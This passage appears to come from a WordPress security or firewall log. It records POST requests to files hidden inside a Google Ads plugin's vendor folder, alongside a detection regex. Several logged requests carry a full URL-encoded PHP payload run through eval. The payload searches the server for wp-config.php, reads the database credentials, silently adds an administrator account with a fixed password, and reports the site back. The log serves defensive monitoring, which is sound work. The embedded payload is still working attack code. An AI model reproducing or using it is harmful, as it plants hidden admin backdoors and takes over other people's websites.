20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:12663\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\n\nphaqOW=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 11:32:13","188.241.62.83","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EmiqkL:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C